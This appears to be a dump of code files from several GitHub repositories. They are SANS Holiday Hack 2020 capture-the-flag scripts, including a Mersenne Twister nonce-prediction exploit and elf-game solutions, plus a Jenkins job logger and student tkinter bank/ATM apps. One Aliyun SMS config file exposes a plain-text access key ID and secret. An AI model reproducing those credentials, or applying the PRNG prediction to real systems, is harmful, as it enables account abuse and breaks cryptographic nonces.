open(obj_file_new_nonce, 'a') as file:\n\t\t\t\tfile.write(str(highint)+'\\n')\n\n\ndef predict():\n\ttry:\n\t\tos.system('cat obj_new_nonce_624 | mt19937predict | head -20 > obj_pred_10.txt') # Using Kmyk's Mersenne twister Predictor\n\texcept Exception as e:\t\t\t\t\t\t\t\t\t# This will through a broken pipe exception but it will successfully predict 10 next nonces\n\t\tpass\n\n\twith open('obj_pred_10.txt', 'r') as file:\n\t\tnonce_array = file.readlines()\n\t\tfor i,j in zip(range(0,len(nonce_array),2), range(129997,130007)):\n#\t\t\t\tif i <len(nonce_array)-1:\n\t\t\t\tnonce_lo=int(nonce_array[i])\t\t\t\t# Converting back to 64 bit.\n\t\t\t\tnonce_hi=int(nonce_array[i+1])\n\t\t\t\tnonce_combined=(nonce_hi <<32) + nonce_lo\n\t\t\t\thex_nonce=hex(nonce_combined)\n\t\t\t\tprint(\"Predicted nonce at\",j,\"is:\", nonce_combined, \" [ Hex value:\",hex_nonce,\"]\") #Printing the nones and their hex value\n\nsplit_nonce()\npredict()\n\n\n\n\n\n" }, { "alpha_fraction": 0.6293706297874451, "alphanum_fraction": 0.6480186581611633, "avg_line_length": 27.600000381469727, "blob_id": "b4603e9f1f8bb9a734a03dab5ec7c6ebba99ffbe", "content_id": "f2a9ba0ed0b26474a4169e8c682749295754d56d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 429, "license_type": "no_license", "max_line_length": 122, "num_lines": 15, "path": "/The-Elf-Code/level-7.js", "repo_name": "mendedsiren63/2020_Sans_Holiday_Hack_Challenge", "src_encoding": "UTF-8", "text": "var dist = 1\nvar move = [elf.moveDown, elf.moveLeft, elf.moveUp, elf.moveRight, elf.moveDown, elf.moveLeft, elf.moveUp, elf.moveRight];\nfor (var i = 0; i < 8; i++) {\n move[i](dist)\n elf.pull_lever(dist - 1)\n dist++\n}\nelf.moveUp(2)\nelf.moveLeft(4)\nfunction munch_ass(arr) {\n let add = arr.flat().reduce((sum, value) => (typeof value == \"number\" ? sum + value : sum), 0);\n return add\n}\nelf.tell_munch(munch_ass)\nelf.moveUp(2)\n" }, { "alpha_fraction": 0.6428571343421936, "alphanum_fraction": 0.704081654548645, "avg_line_length": 18.600000381469727, "blob_id": "42b875d218ca30da416a971c47cc40316f0870cc", "content_id": "c02b03363510a0377b9727b1641b4433c16f2ef9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 98, "license_type": "no_license", "max_line_length": 30, "num_lines": 5, "path": "/The-Elf-Code/Level-2.js", "repo_name": "mendedsiren63/2020_Sans_Holiday_Hack_Challenge", "src_encoding": "UTF-8", "text": "elf.moveLeft(6)\nvar sum = elf.get_lever(0) + 2\nelf.pull_lever(sum)\nelf.moveLeft(4)\nelf.moveUp(10)\n" }, { "alpha_fraction": 0.6936416029930115, "alphanum_fraction": 0.7167630195617676, "avg_line_length": 27.83333396911621, "blob_id": "246bbac1e1a65e53fbe77493a4a733c9b95b66d8", "content_id": "dcad6fa125806d41ea9fbf5e4054f3abc10475a3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 173, "license_type": "no_license", "max_line_length": 58, "num_lines": 6, "path": "/The-Elf-Code/level-5.js", "repo_name": "mendedsiren63/2020_Sans_Holiday_Hack_Challenge", "src_encoding": "UTF-8", "text": "elf.moveTo(lollipop[1])\nelf.moveTo(lollipop[0])\nvar value = elf.ask_munch(0)\nvar answer = value.filter(elem => typeof elem == \"number\")\nelf.tell_munch(answer)\nelf.moveUp(2)\n" }, { "alpha_fraction": 0.7532467246055603, "alphanum_fraction": 0.8008658289909363, "avg_line_length": 56.75, "blob_id": "d8b5a027107fbb7ee545b852c76e7d582936fb84", "content_id": "b0dfd10eb3461a22d5ce87e0cde0ec655a80140b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 231, "license_type": "no_license", "max_line_length": 148, "num_lines": 4, "path": "/README.md", "repo_name": "mendedsiren63/2020_Sans_Holiday_Hack_Challenge", "src_encoding": "UTF-8", "text": "# 2020_Sans_Holiday_Hack_Challenge\nWrite up of 2020 Sans Holiday Hack Challenge.\n\nThe PDF provides the solution to the challenges and objectives. I have also added the scripts I used for objective 9,11a and the Elf Code challenge.\n" }, { "alpha_fraction": 0.601190447807312, "alphanum_fraction": 0.648809552192688, "avg_line_length": 27, "blob_id": "822579d1cf9cf16c2c0ff1610538e92ccb561b5d", "content_id": "4367ac63eff7f6e4c37e2b51ddcdbec13633d14d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 168, "license_type": "no_license", "max_line_length": 52, "num_lines": 6, "path": "/The-Elf-Code/level-4.js", "repo_name": "mendedsiren63/2020_Sans_Holiday_Hack_Challenge", "src_encoding": "UTF-8", "text": "var moveLeft = elf.moveLeft;\nvar moveUp = elf.moveUp;\nvar moveDown = elf.moveDown;\nfor (var i = 0; i < 9; i++) {\n moveLeft(3), moveUp(12), moveLeft(3), moveDown(12)\n}\n" } ]
8
remiljw/Python-Script
https://github.com/remiljw/Python-Script
773ebec29b3b00dea784f437ab6ebb6cd4e6e4d6
2030e79f089778336cd333a1f867630ca1fee1b2
6063cb3e6de96c3a912b621a8158945e2cdf31a2
refs/heads/master
2020-06-09T23:25:24.423519
2019-06-24T17:27:34
2019-06-24T17:27:34
193,526,009
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.658502459526062, "alphanum_fraction": 0.6623513102531433, "avg_line_length": 29.404254913330078, "blob_id": "1b3b7a699dc482fdd1eea07d9e8a50c1b7f523b0", "content_id": "c1e3f35de63c811cc733a38ea09a1f4b0dbcad7c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2858, "license_type": "permissive", "max_line_length": 129, "num_lines": 94, "path": "/jenkins_jobs.py", "repo_name": "remiljw/Python-Script", "src_encoding": "UTF-8", "text": "import requests\nimport jenkins\nfrom sqlalchemy import *\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker\nimport datetime\n\nBase = declarative_base()\n\ndef connectToJenkins(url, username, password):\n \n server = jenkins.Jenkins(url, \n username=username, password=password)\n return server\n\ndef initializeDb():\n engine = create_engine('sqlite:///cli.db', echo=False)\n session = sessionmaker(bind=engine)()\n Base.metadata.create_all(engine)\n return session\n\ndef addJob(session, jlist):\n for j in jlist:\n session.add(j)\n session.commit()\n\ndef getLastJobId(session, name):\n job = session.query(Jobs).filter_by(name=name).order_by(Jobs.jen_id.desc()).first()\n if (job != None):\n return job.jen_id\n else:\n return None\n\nclass Jobs(Base):\n __tablename__ = 'Jobs'\n\n id = Column(Integer, primary_key = True)\n jen_id = Column(Integer)\n name = Column(String)\n timeStamp = Column(DateTime)\n result = Column(String)\n building = Column(String)\n estimatedDuration = Column(String)\n\ndef createJobList(start, lastBuildNumber, jobName):\n jList = []\n for i in range(start + 1, lastBuildNumber + 1):\n current = server.get_build_info(jobName, i)\n current_as_jobs = Jobs()\n current_as_jobs.jen_id = current['id']\n current_as_jobs.building = current['building']\n current_as_jobs.estimatedDuration = current['estimatedDuration']\n current_as_jobs.name = jobName\n current_as_jobs.result = current['result']\n current_as_jobs.timeStamp = datetime.datetime.fromtimestamp(long(current['timestamp'])*0.001)\n jList.append(current_as_jobs)\n return jList\n\n\nurl = 'http://locahost:8080'\nusername = input('Enter username: ')\npassword = input('Enter password: ')\nserver = connectToJenkins(url, username, password)\n\nauthenticated = false\ntry:\n server.get_whoami()\n authenticated = true\nexcept jenkins.JenkinsException as e:\n print (\"Authentication error\")\n authenticated = false\n\nif authenticated:\n session = initializeDb()\n\n # get a list of all jobs\n jobs = server.get_all_jobs()\n for j in jobs:\n jobName = j['name'] # get job name\n #print jobName\n lastJobId = getLastJobId(session, jobName) # get last locally stored job of this name\n lastBuildNumber = server.get_job_info(jobName)['lastBuild']['number'] # get last build number from Jenkins for this job \n \n # if job not stored, update the db with all entries\n if lastJobId == None:\n start = 0\n # if job exists, update the db with new entrie\n else:\n start = lastJobId\n\n # create a list of unadded job objects\n jlist = createJobList(start, lastBuildNumber, jobName)\n # add job to db\n addJob(session, jlist)\n" } ]
1
binyoucai/BJ-Python-GP-1
https://github.com/binyoucai/BJ-Python-GP-1
3d0a446010756438ef1efe8065815027d6f25e35
5d25040c4262fe226c038154fd8b69770c084d68
b69359881c6d8e9fce76ccee3ed4c30771fe4bae
refs/heads/master
2018-11-01T09:11:20.961354
2018-09-01T04:20:30
2018-09-01T04:20:30
145,939,557
2
1
null
null
null
null
null
[ { "alpha_fraction": 0.5801952481269836, "alphanum_fraction": 0.6192468404769897, "avg_line_length": 16.487804412841797, "blob_id": "3ce4a2a6af19bf3a8f803554897d2949c9f4f28d", "content_id": "be8d898ba8d9b9ffb111f1904ef3abf8c35b1247", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 749, "license_type": "permissive", "max_line_length": 89, "num_lines": 41, "path": "/py-basis/QQ简易版/client/memory.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 客户端全局变量模块\n@Time : 2018/8/19 下午9:25\n@Author : 北冥神君\n@File : memory.py\n@Software: PyCharm\n\"\"\"\n\n\nIP = \"0.0.0.0\"\nPORT = \"4444\"\n\nsc = None\n\nLogin_window = None\n\nContact_window = []\n\n# {username: window}\nChat_window = {}\n\n# {username: [(time, from_user, message1, flag), (time, from_user, message2, flag), ...]}\nrecv_message = {}\n\n# {(1, friend_username): friend_nickname}\n# {(2, chatroom_name): chatroom_show_name(群 chatroom_name)}\nfriend_list = {}\n\n# {chatroom_name: [(username1, nickname1), (username2, nickname2), ...]}\nchatroom_user_list = {}\n\nrecv_msg_thread = None\n\n# {\"username\": \"nickname\"}\ncurrent_user = {}\nusername = \"\"\nsc = None\ntk_root = None\n" }, { "alpha_fraction": 0.4365951716899872, "alphanum_fraction": 0.4439678192138672, "avg_line_length": 28.830577850341797, "blob_id": "92194dbf78f3d7b16e81c10884f5a763d7448f3d", "content_id": "83cee29aa5f2375c1771dcf28817db0f20736fac", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8942, "license_type": "permissive", "max_line_length": 67, "num_lines": 242, "path": "/py-basis/各组银行系统带界面/第七组/atm.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "# -*- coding:utf-8 -*-\r\nfrom bank import Bank\r\nfrom user import User\r\nfrom card import Card\r\nfrom atminitview import View\r\nimport random\r\na = View()\r\nclass ATM(object):\r\n def __init__(self):\r\n self.account = \"1\"\r\n self.passwd = \"1\"\r\n self.money = 0\r\n self.isActive = True\r\n\r\n # 登陆\r\n def checkPasswd(self):\r\n account = a.cardid('请输入账号')\r\n passwd = a.cardid('请输入密码')\r\n if account != self.account or passwd != self.passwd:\r\n a.error(\"密码或账号错误登陆失败\")\r\n return 1\r\n else:\r\n a.error(\"系统设置成功,正在启动……\")\r\n return 0\r\n\r\n # 提额\r\n def addMoney(self):\r\n money = int(a.cardid('请输入要提额度'))\r\n self.money += money\r\n a.error(\"提额成功现在额度为%d\" % self.money)\r\n if not self.isActive:\r\n self.isActive = True\r\n\r\n # 改密\r\n def changeAtmPasswd(self):\r\n passwd = a.cardid('请输入原密码')\r\n if passwd != self.passwd:\r\n a.error(\"密码错误,修改失败\")\r\n else:\r\n passwd1 = a.cardid('请输入新密码')\r\n passwd2 = a.cardid('请再次输入密码')\r\n if passwd1 != passwd2:\r\n a.error(\"两次密码不同,修改失败\")\r\n else:\r\n self.passwd = passwd1\r\n a.error(\"系统密码修改成功\")\r\n\r\n # 开户\r\n def createCard(self):\r\n idCard = a.cardid('请输您的身份证号')\r\n #验证是否存在该用户\r\n bankSys = Bank()\r\n user = bankSys.usersDict.get(idCard)\r\n if not user:\r\n #用户不存在,需要创建用户\r\n name = a.cardid('请输入姓名')\r\n phone = a.cardid('请输入手机号')\r\n user = User(name, idCard, phone)\r\n # 存入系统\r\n bankSys.usersDict[idCard] = user\r\n # 开卡\r\n # 设置密码\r\n passwd1 = a.cardid('请设置密码')\r\n # 验证密码\r\n if self.inputPasswd(passwd1):\r\n a.error(\"三次密码验证错误,开卡失败\")\r\n return\r\n money = float(a.cardid('请输入预存款金额'))\r\n cardId = self.getCardId()\r\n card = Card(cardId, passwd1, money)\r\n user.cardsDict[cardId] = card\r\n a.error(\"开卡成功!请牢记卡号:%s\" % (cardId))\r\n\r\n # 插卡\r\n def checkCard(self):\r\n cardId = a.cardid(\"输入您的卡号:\")\r\n #找到用户和用户的卡\r\n bankSys = Bank()\r\n for idCard, user in bankSys.usersDict.items():\r\n for key, card in user.cardsDict.items():\r\n if key == cardId:\r\n #找到卡了,验证密码了\r\n if self.inputPasswd(card.passwd):\r\n card.isLock = True\r\n a.error(\"三次密码错误,该卡被锁定!!\")\r\n return 0\r\n a.error(\"请稍后……\")\r\n return user, card\r\n a.error(\"卡号不存在……\")\r\n return 0\r\n\r\n # 补卡\r\n def new_card(self):\r\n card3 = a.cardid(\"输入您的卡号:\")\r\n # 找到用户和用户的卡\r\n bankSys = Bank()\r\n for idCard, user in bankSys.usersDict.items():\r\n for key, card in user.cardsDict.items():\r\n if key == card3:\r\n if self.inputPasswd(card.passwd):\r\n a.error(\"三次密码错误,补卡失败!!\")\r\n return 0\r\n else:\r\n money = card.money\r\n cardId = self.getCardId()\r\n card = Card(cardId, card.passwd, money)\r\n del user.cardsDict[card3]\r\n user.cardsDict[cardId] = card\r\n a.error(\"补卡成功,新卡号为%s\" % cardId)\r\n return 1\r\n a.error(\"卡号不存在……\")\r\n return 0\r\n\r\n #查询\r\n def searchCard(self, card):\r\n if card.isLock:\r\n a.error(\"该卡已被锁定,请解锁后继续其他操作!\")\r\n else:\r\n a.error(\"卡号:%s 余额:%.2f\" % (card.cardId, card.money))\r\n\r\n # 转账\r\n def transfer_accounts(self, card):\r\n if card.isLock:\r\n a.error(\"该卡已被锁定,请解锁后继续其他操作!\")\r\n else:\r\n orher_card = a.cardid(\"输入对方卡号:\")\r\n bankSys = Bank()\r\n for idCard, user in bankSys.usersDict.items():\r\n for key, card1 in user.cardsDict.items():\r\n if key == orher_card:\r\n money = float(a.cardid(\"输入转账金额:\"))\r\n if money > card.money:\r\n a.error(\"卡内余额不足……\")\r\n else:\r\n card1.money += money\r\n card.money -= money\r\n a.error(\"转账成功!余额:%.2f\" % card.money)\r\n return 0\r\n a.error(\"卡号不存在……\")\r\n\r\n #存款\r\n def deposit(self, card):\r\n if card.isLock:\r\n a.error(\"该卡已被锁定,请解锁后继续其他操作!\")\r\n else:\r\n money = float(a.cardid(\"输入存款金额:\"))\r\n self.money += money\r\n card.money += money\r\n a.error(\"存款成功!余额:%.2f\" % card.money)\r\n\r\n #取款\r\n def withdrawal(self, card):\r\n if card.isLock:\r\n a.error(\"该卡已被锁定,请解锁后继续其他操作!\")\r\n else:\r\n money = float(a.cardid(\"输入取款金额:\"))\r\n if money > card.money:\r\n a.error(\"卡内余额不足……\")\r\n elif money > self.money:\r\n a.error(\"提款机余额不足……\")\r\n else:\r\n self.money -= money\r\n card.money -= money\r\n a.error(\"取款成功!余额:%.2f\" % card.money)\r\n\r\n # 改密码\r\n def change_password(self, card):\r\n if self.inputPasswd(card.passwd):\r\n card.isLock = True\r\n a.error(\"三次密码错误,该卡被锁定!!\")\r\n return 0\r\n else:\r\n cardpasswd1 = a.cardid(\"请输入新密码:\")\r\n cardpasswd2 = a.cardid(\"请输验证密码:\")\r\n if cardpasswd1 != cardpasswd2:\r\n card.isLock = True\r\n a.error(\"两次密码不同,修改失败,该卡被锁定!!\")\r\n else:\r\n card.passwd = cardpasswd1\r\n a.error(\"系统密码修改成功,请重新登陆\")\r\n return 0\r\n\r\n # 注销\r\n def logout(self, user, card):\r\n if card.money > 0:\r\n a.error(\"请先将卡内余额%.2f,取出或转入其他卡中在进行注销操作。\" % card.money)\r\n elif self.inputPasswd(card.passwd):\r\n card.isLock = True\r\n a.error(\"三次密码错误,该卡被锁定!!\")\r\n return 0\r\n else:\r\n idCard = a.cardid(\"输入身份证号:\")\r\n if idCard != user.idCard:\r\n a.error(\"身份证验证失败,解锁失败!!\")\r\n else:\r\n del card.cardId\r\n a.error(\"已将此卡注销\")\r\n return 0\r\n\r\n # 锁定\r\n def lock(self, user, card):\r\n if card.isLock:\r\n a.error(\"该已经被锁定,无需操作!\")\r\n else:\r\n idCard = a.cardid(\"输入身份证号:\")\r\n if idCard != user.idCard:\r\n a.error(\"身份证验证失败,锁定失败!!\")\r\n else:\r\n card.isLock = True\r\n a.error(\"锁定成功!\")\r\n\r\n #解锁\r\n def unlock(self, user, card):\r\n if not card.isLock:\r\n a.error(\"该卡未被锁定,无需解锁操作!\")\r\n else:\r\n idCard = a.cardid(\"输入身份证号:\")\r\n if idCard != user.idCard:\r\n a.error(\"身份证验证失败,解锁失败!!\")\r\n else:\r\n card.isLock = False\r\n a.error(\"解锁成功,可以继续其他操作!\")\r\n\r\n #输入密码,并与真实密码进行比对,比对成功返回0,否则返回1\r\n def inputPasswd(self, realPasswd):\r\n for i in range(3):\r\n passwd = a.cardid(\"请输入密码:\")\r\n if passwd == realPasswd:\r\n #验证成功\r\n return 0\r\n return 1\r\n\r\n #随机获取一个卡号\r\n def getCardId(self):\r\n arr = \"0123456789\"\r\n cardId = \"\"\r\n for i in range(6):\r\n cardId += random.choice(arr)\r\n return cardId\r\n# 

程序运行起来
\r\n" }, { "alpha_fraction": 0.6456692814826965, "alphanum_fraction": 0.6535432934761047, "avg_line_length": 24.399999618530273, "blob_id": "a689858b8563094e1211d059fbf13175c4a6c2c4", "content_id": "9615220b694ca762965dfdc1ff95c8fc0a8bd253", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 157, "license_type": "permissive", "max_line_length": 49, "num_lines": 5, "path": "/py-basis/发短信平台/阿里云/const.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# ACCESS_KEY_ID/ACCESS_KEY_SECRET 根据实际申请的账号信息进行替换\nACCESS_KEY_ID = \"LTAIU6ah3GqPfZm7\"\nACCESS_KEY_SECRET = \"TOAgnZCzmcMMaHIcGxULLH0xsSImdc\"\n" }, { "alpha_fraction": 0.49295774102211, "alphanum_fraction": 0.4976525902748108, "avg_line_length": 14.384614944458008, "blob_id": "f4c42f4ebc07e5ed8f9485ad7804cf3151634f72", "content_id": "56ddea1e52d61c75484a679ef875ccebdac4a3b8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 253, "license_type": "permissive", "max_line_length": 42, "num_lines": 13, "path": "/py-basis/各组银行系统带界面/第一组/tkinter银行系统/Control/person.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "# -*- coding:utf-8 -*-\r\n\r\n'''\r\n定义用户类\r\n 属性:姓名、身份证号、电话号码\r\n\r\n'''\r\n\r\nclass Person(object):\r\n def __init__(self, name, Idcard, tel):\r\n self.name = name\r\n self.Idcard = Idcard\r\n self.tel = tel\r\n" }, { "alpha_fraction": 0.5536748170852661, "alphanum_fraction": 0.5679287314414978, "avg_line_length": 25.543209075927734, "blob_id": "4228a8523e2305f3fe3301ff40260bbbeb2649f1", "content_id": "fedf92c39d590bf05de922c1264fdddf0a6f54d9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2457, "license_type": "permissive", "max_line_length": 79, "num_lines": 81, "path": "/py-basis/各组银行系统带界面/第四组/bank_sys.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "import tkinter\r\nfrom tkinter_bank.bank_view import bank_View\r\nimport pickle\r\nimport os\r\nview = bank_View() # 初始化界面\r\nbank_message = \"bank.data\"\r\n\r\n\r\n\r\ndef bank_updata( allUsers): # 这个是更新数据的每次修改之后需要重新写入一次\r\n f = open(bank_message, \"wb\")\r\n pickle.dump(allUsers, f)\r\n f.close()\r\n\r\n\r\n\r\ndef loading_mes(): # 读取数据\r\n if os.path.exists(bank_message):\r\n\r\n if os.path.getsize(bank_message) > 0: # 判断文件是为空,如果为空就创建一个空字典 如果不为空就读取数据\r\n f = open(bank_message, \"rb\")\r\n allUsers = pickle.load(f)\r\n else:\r\n allUsers = {}\r\n else:\r\n allUsers = {}\r\n return allUsers\r\n\r\n\r\nclass Bank_Sys(object):\r\n\r\n def __init__(self,win,allUsers):\r\n\r\n self.allUsers = allUsers\r\n win.title(\"银行系统\")\r\n\r\n self.frm1 = view.view_Login(win, allUsers) # ATM界面\r\n self.frm2 = view.view_adminLogin(win,allUsers) # 管理员登录界面\r\n self.frm2.pack_forget()\r\n self.frm = tkinter.Frame(win)\r\n self.frm3 = view.view_addUser(win, allUsers) # 开户界面\r\n self.frm3.pack_forget()\r\n self.frm4 = view.view_delUser(win, allUsers) # 销户界面\r\n self.frm4.pack_forget()\r\n\r\n # 创建的菜单\r\n menubar = tkinter.Menu(win)\r\n win.config(menu=menubar)\r\n menubar.add_command(label=\"ATM\", command=self.func1)\r\n\r\n menubar.add_command(label=\"管理员\", command=self.func2)\r\n\r\n Bmenu = tkinter.Menu(menubar, tearoff=False)\r\n Bmenu.add_command(label=\"开户\", command=self.func3)\r\n Bmenu.add_command(label=\"销户\", command=self.func4)\r\n menubar.add_cascade(label=\"办理业务\", menu=Bmenu)\r\n win.mainloop()\r\n\r\n def func1(self): # 存钱\r\n self.frm2.pack_forget()\r\n self.frm3.pack_forget()\r\n self.frm4.pack_forget()\r\n self.frm1.pack()\r\n\r\n def func2(self): # 取钱\r\n self.frm1.pack_forget()\r\n self.frm3.pack_forget()\r\n self.frm4.pack_forget()\r\n self.frm2.pack()\r\n\r\n def func3(self): # 查询\r\n self.frm1.pack_forget()\r\n self.frm2.pack_forget()\r\n self.frm4.pack_forget()\r\n self.frm3.pack()\r\n\r\n def func4(self): #转账\r\n self.frm1.pack_forget()\r\n self.frm2.pack_forget()\r\n self.frm3.pack_forget()\r\n self.frm4.pack()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n" }, { "alpha_fraction": 0.548881471157074, "alphanum_fraction": 0.5953848958015442, "avg_line_length": 33.71697998046875, "blob_id": "b1e93046690539f9b63fcf9fc89a65539cfc916b", "content_id": "3bcb73a0340becbaf150f8ef0c5358981f0bcfa3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6199, "license_type": "permissive", "max_line_length": 114, "num_lines": 159, "path": "/py-basis/各组银行系统带界面/第三组/mainRun.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "import tkinter\r\nfrom tkinter import *\r\nimport sys\r\n\r\nimport csvload as cv\r\nimport MyMenus as my\r\n\r\npopupper = (len(sys.argv) > 1)\r\n\r\n\r\ndef addMoney():\r\n wina=Tk()\r\n wina.title(\"提额\")\r\n wina.geometry(\"600x300+200+200\")\r\n lable=Label(wina, text=\"请输入你想提额的额度:\", bg=\"red\")\r\n lable.pack(fill=tkinter.Y, side=tkinter.TOP)\r\ndef searchCard():\r\n pass\r\ndef deposit():\r\n pass\r\ndef changeAtmPasswd():\r\n pass\r\ndef withdrawal():\r\n pass\r\ndef changeidcardpasswd():\r\n pass\r\n\r\n#报错信息\r\ndef wrong():\r\n winw = Tk()\r\n winw.title(\"警告\")\r\n lable = Label(winw, text=\"账号或密码错误请重试\")\r\n lable.grid()\r\n\r\n# #操作界面\r\n# def opretaview():\r\n# wino=Tk()\r\n# wino.title(\"操作\")\r\n# wino.geometry(\"600x300\")\r\n# wino.geometry(\"+200+200\")\r\n# lable=Label(wino, text=\"欢迎选择以下操作!\", bg=\"blue\", font=(\"宋体\", 15), width=40, height=2, wraplength=100)\r\n# lable.grid(row=0, column=1)\r\n# lable1 = Label(wino, text=\"欢迎选择以下操作!\", bg=\"blue\", font=(\"宋体\", 15), width=40, height=2, wraplength=100)\r\n# lable1.grid(row=1, column=1)\r\n# lable2 = Label(wino, text=\"欢迎选择以下操作!\", bg=\"blue\", font=(\"宋体\", 15), width=40, height=2, wraplength=100)\r\n# lable2.grid(row=2, column=1)\r\n# lable3 = Label(wino, text=\"欢迎选择以下操作!\", bg=\"blue\", font=(\"宋体\", 15), width=40, height=2, wraplength=100)\r\n# lable3.grid(row=3, column=1)\r\n# button = Button(wino, text=\"查询\", width=10, height=2, bg=\"yellow\", command=searchCard)\r\n# button.grid(row=0, column=0, sticky=E)\r\n# button1 = Button(wino, text=\"存款\", width=10, height=2, bg=\"yellow\", command=deposit)\r\n# button1.grid(row=1, column=0, sticky=E)\r\n# button2 = Button(wino, text=\"取款\", width=10, height=2, bg=\"yellow\", command=withdrawal)\r\n# button2.grid(row=2, column=0, sticky=E)\r\n# button3 = Button(wino, text=\"改密\", width=10, height=2, bg=\"yellow\", command=changeidcardpasswd)\r\n# button3.grid(row=3, column=0, sticky=E)\r\n# button4 = Button(wino, text=\"解锁\", width=10, height=2, bg=\"yellow\")\r\n# button4.grid(row=0, column=2, sticky=W)\r\n# button5 = Button(wino, text=\"存款\", width=10, height=2, bg=\"yellow\", command=deposit)\r\n# button5.grid(row=1, column=2, sticky=W)\r\n# button6 = Button(wino, text=\"取款\", width=10, height=2, bg=\"yellow\", command=withdrawal)\r\n# button6.grid(row=2, column=2, sticky=W)\r\n# button7 = Button(wino, text=\"改密\", width=10, height=2, bg=\"yellow\", command=changeidcardpasswd)\r\n# button7.grid(row=3, column=2, sticky=W)\r\n# button = Button(wino, text=\"返回\", width=15, height=2, bg=\"yellow\", command=wino.destroy)\r\n# button.grid(row=4, column=1)\r\n# if popupper:\r\n# wino.focus_set()\r\n# wino.grab_set()\r\n# wino.wait_window()\r\n# print(\"您已进入操作界面\")\r\n\r\n#登陆界面\r\n\r\ndef welcomeview():\r\n def check():\r\n cards = entry.get()\r\n pwd = entry1.get()\r\n me = cv.isPerson(cards, pwd)\r\n if me:\r\n print(\"登陆成功!\")\r\n my.Menus(me)\r\n else:\r\n print(\"卡号或者密码错误!\")\r\n\r\n win = Toplevel()\r\n win.title(\"登陆\")\r\n win.geometry(\"600x300\")\r\n win.geometry(\"+200+200\")\r\n lable = Label(win, text=\"你好银行:欢迎登陆\", bg=\"blue\", font=(\"宋体\", 15), width=20, height=3, wraplength=150)\r\n lable.grid()\r\n labe1 = Label(win, text=\"请输入卡号:\", width=10, bg=\"yellow\")\r\n labe1.grid(row=1, column=1, sticky=E)\r\n labe2 = Label(win, text=\"请输入密码:\", width=10, bg=\"yellow\")\r\n labe2.grid(row=2, column=1, sticky=E)\r\n entry = Entry(win, font=(\"微软雅黑\", 10))\r\n entry.grid(row=1, column=2)\r\n entry1 = Entry(win, font=(\"微软雅黑\", 10), show=\"*\")\r\n entry1.grid(row=2, column=2)\r\n button1 = Button(win, text=\"确认登陆\", width=10, bg=\"yellow\", command=check)\r\n button1.grid(row=3, column=2, sticky=E)\r\n button2 = Button(win, text=\"开户\", width=10, bg=\"yellow\")\r\n button2.grid(row=4, column=0, sticky=E)\r\n button3 = Button(win, text=\"补卡\", width=10, bg=\"yellow\")\r\n button3.grid(row=5, column=0, sticky=E)\r\n button4 = Button(win, text=\"返回撤销\", width=10, command=win.destroy, bg=\"yellow\")\r\n button4.grid(row=6, column=0, sticky=E)\r\n\r\n if win:\r\n win.focus_set()\r\n win.grab_set()\r\n win.wait_window()\r\n print(\"您已进入登陆界面\")\r\n\r\n#主界面\r\ndef main():\r\n def welcomeView():\r\n if entry.get() != \"1\" and entry1.get() != \"1\":\r\n wrong()\r\n else:\r\n welcomeview()\r\n\r\n root = Tk()#创建窗口\r\n root.title(\"你好银行\")#窗口名字\r\n root.geometry(\"600x300\")\r\n root.geometry(\"+200+200\")\r\n lable = Label(root, text=\"你好银行:请先输入管理员账户和密码\", bg=\"blue\", font=(\"宋体\", 15), width=20, height=3, wraplength=150)\r\n lable.grid()\r\n lable1 = Label(root, text=\"请输入管理员账户:\", bg=\"yellow\")\r\n lable1.grid(row=1, column=1)\r\n lable2 = Label(root, text=\"请输入管理员密码:\", bg=\"yellow\")\r\n lable2.grid(row=2, column=1)\r\n ve = StringVar()\r\n entry = Entry(root, font=(\"微软雅黑\", 10), textvariable=ve)\r\n entry.grid(row=1, column=2)\r\n global res1\r\n res1 = ve.get()\r\n vr = StringVar()\r\n entry1 = Entry(root, font=(\"微软雅黑\", 10), textvariable=vr, show=\"*\")\r\n entry1.grid(row=2, column=2)\r\n global res2\r\n res2 = vr.get()\r\n button = Button(root, text=\"确认进入\", width=10, command = welcomeView, bg=\"yellow\")\r\n button.grid(row=3, column=2, sticky=E)\r\n button1 = Button(root, text=\"提额\", width=10, command=addMoney, bg=\"yellow\")\r\n button1.grid(row=4, column=0, sticky=E)\r\n button2 = Button(root, text=\"改密\", width=10, command=changeAtmPasswd, bg=\"yellow\")\r\n button2.grid(row=5, column=0, sticky=E)\r\n button3 = Button(root, text=\"关机\", width=10, command=root.destroy, bg=\"yellow\")\r\n button3.grid(row=6, column=0, sticky=E)\r\n root.mainloop()#显示窗口\r\n\r\n\r\ncv.loading()\r\nmain()\r\n\r\nprint(\"正在保存数据。。\")\r\ncv.Writing()\r\nprint(\"程序结束!\")" }, { "alpha_fraction": 0.48638373613357544, "alphanum_fraction": 0.5111111402511597, "avg_line_length": 37.964664459228516, "blob_id": "102e21c01cb0a3fd469dfad134f7b01e6061652e", 